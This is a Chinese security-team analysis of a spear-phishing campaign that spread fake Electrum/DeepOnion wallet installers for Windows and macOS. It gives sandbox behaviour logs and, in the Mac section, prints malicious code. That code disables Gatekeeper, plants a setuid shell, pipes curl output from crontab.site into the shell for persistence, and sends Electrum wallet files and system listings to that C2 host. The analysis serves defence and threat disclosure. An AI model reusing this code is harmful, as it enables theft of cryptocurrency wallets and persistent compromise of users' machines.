伪 Electrum 鱼叉钓鱼攻击分析

作者：爱上平顶山@慢雾安全团队
原文链接：https://mp.weixin.qq.com/s/7MMXj8Lll4YkssOXoxdm4A

前言

近日，慢雾安全团队收到情报，有专业黑产团队针对交易所用户进行大规模邮件批量撒网钓鱼攻击。

钓鱼邮件如图：

慢雾安全团队收到情报后，第一时间展开分析。

以下是详细分析过程：

攻击细节

我们点击跳转目标页面：

从上图可以看到，针对 Mac OS X / macOS / Windows 不同系统都给出了下载链接；链接指向黑客木马文件存放位置。

于3天前，创建的账号，里面存在两个项目：

b*.github.io
b****t

上图样本 “Bi****-Setup.exe” 是 Windows 下的恶意文件。

“index.html” 是一个仿冒的升级提示页面，诱导用户升级下载。

详细分析

接下来我们对Windows端和Mac端分别进行分析：

1.Windows 端：

下图为样本 “Bi****-Setup.exe” 数字签名：

（1）EXE 文件基本信息

文件名称：B****-KYC-Setup.exe

子文件信息：

script.txt/877da6cdd4eb284e2d8887b24a24168c/Unknown

setup.exe/fe1818a5e8aed139a8ccf9f60312bb30/EXE

WinSCP.exe/e71c39688fad97b66af3e297a04c3663/EXE

（2）关键行为

行为描述：屏蔽窗口关闭消息

详情信息：hWnd = 0x00030336, Text = Deep Onion Setup: Completed, ClassName = #32770

（3）进程行为

行为描述：创建本地线程

详情信息：

TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2888, ThreadID = 2948, StartAddress = 00405209, Parameter = 0001034A

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3188, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3192, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3196, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3200, StartAddress = 00819BF4, Parameter = 0272E270

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3232, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3236, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3240, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3244, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3248, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3252, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3264, StartAddress = 009B8C28, Parameter = 026F4B90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3280, StartAddress = 009B8C28, Parameter = 026F4C90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3284, StartAddress = 009B8C28, Parameter = 026F4B90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3352, StartAddress = 009B8C28, Parameter = 026F4B90

（4）行为描述：创建新文件进程

详情信息：

[0x00000c30]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_documents.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\My Documents" "09-06-2020-4:51:51_documents"

[0x00000c44]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_appdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Application Data" "09-06-2020-4:51:51_appdata"

[0x00000c5c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_localappdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Local Settings\Application Data" "09-06-2020-4:51:51_localappdata"

[0x00000c64]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_onedrive.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\OneDrive" "09-06-2020-4:51:51_onedrive"

[0x00000c6c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_pictures.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Pictures" "09-06-2020-4:51:51_pictures"

（5）文件行为

行为描述：创建文件

详情信息：

C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

C:\Documents and Settings\Administrator\Application Data\winscp.rnd

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_onedrive.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_localappdata.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_documents.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_pictures.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

（6）行为描述：创建可执行文件

详情信息：

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

（7）行为描述：覆盖已有文件

详情信息：

C:\Documents and Settings\Administrator\Application Data\winscp.rnd

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

（8）行为描述：查找文件

详情信息：

FileName = C:\Documents and Settings

FileName = C:\Documents and Settings\Administrator

FileName = C:\Documents and Settings\Administrator\Local Settings

FileName = C:\Documents and Settings\Administrator\Local Settings\Temp

FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nsyA.tmp

FileName = C:\DOCUME~1

FileName = C:\DOCUME~1\ADMINI~1

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-CN

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-Hans

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.CHS

（9）行为描述：删除文件

详情信息：

C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

（10）行为描述：修改文件内容

详情信息：

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 32768
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 33203
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 65971
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 66905
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 24146
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 44980
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 60884
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 93652
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll ---> Offset = 0
C:\Documents and Settings\Administrator\Application Data\winscp.rnd ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 102

（11）网络行为

行为描述：建立到一个指定的套接字连接

详情信息：

IP: ##.138.40.##:128,SOCKET=0x000001d0

IP: ##.138.40.##:128,SOCKET=0x000001cc

我们测试打开，自解压:

结果发现用于上传本地用户信息的 FTP 账号密码，同时有一个正常的 Electrum Installer 文件，一旦用户安装后使用，在 Electrum 下输入的敏感信息将被发送到远程恶意 FTP 服务器接收。

2020年06月02日开始，已经有用户陆续中招。

2.Mac 端：

（1）安装命令：

（2）脚本内容：

（3）恶意地址：https://github.com/deep-onion(模仿知名项目https://deeponion.org/ 的Github地址 https://github.com/deeponion )

恶意地址下也有两个项目：

deep-onion.github.io
wallet

https://github.com/deep-onion/deep-onion.github.io

此文件此处不做分析。

（4）Mac 端

https://github.com/deep-onion/wallet

恶意文件是 DeepOnion

执行恶意脚本后是一系列恶意操作，

如：

try {
  shell_exec("spctl --master-disable");

  $ksh = trim(shell_exec("which ksh"));
  shell_exec("cp $ksh $homedir/.ksh");
  shell_exec("cd $homedir && chown root:wheel .ksh && chmod a+rwxs .ksh");

  shell_exec("cd $homedir && echo '#!/bin/bash' > .strtp && echo 'sleep 300' >> .strtp && echo 'curl http://crontab.site/?log=startup\&key=startup\&id=$id | $homedir/.ksh' >> .strtp && chown root:wheel .strtp && chmod a+x .strtp");

try {
   $dir = "$homedir/.electrum/wallets";
   if (file_exists($dir)) {
      $files = scandir($dir);
      foreach ($files as $file) {
         shell_exec("curl -s --data-binary \"@$dir/$file\" http://crontab.site/?log=startup\&key=$file\&id=$id");
      }
   }
} catch (Exception $e) {
   shell_exec('echo "Caught exception: ' . $e->getMessage() . '"' . " >> $log");
}

shell_exec("curl -s --data-binary \"@$log\" http://crontab.site/?log=startup\&key=log\&id=$id");

whoami >> /tmp/cron.log
ls -al /Users/ >> /tmp/cron.log
ls -al $HOMEDIR >> /tmp/cron.log
curl --data-binary "@/tmp/cron.log" http://crontab.site/?log=startup\&key=cron.log\&id=$UID

大致流程

通过以上一些列操作，从而盗取用户隐私信息。

备注：

C2 信息：

crontab.site

邮箱 [email protected]

phone_tag +7.9453949549

注册时间 2020-04-20 17:47:03

过期时间 2021-04-20 23:59:59

更新时间 2020-04-20 17:47:04

慢雾建议

针对本次攻击事件慢雾安全团队建议：

认清官方邮箱后缀
谨慎对待未知来源邮件里的链接与附件
怀疑一切以“升级”、“账号异常”等理由的邮件
对于需要处理但可疑的邮件内容，需及时咨询专业人员

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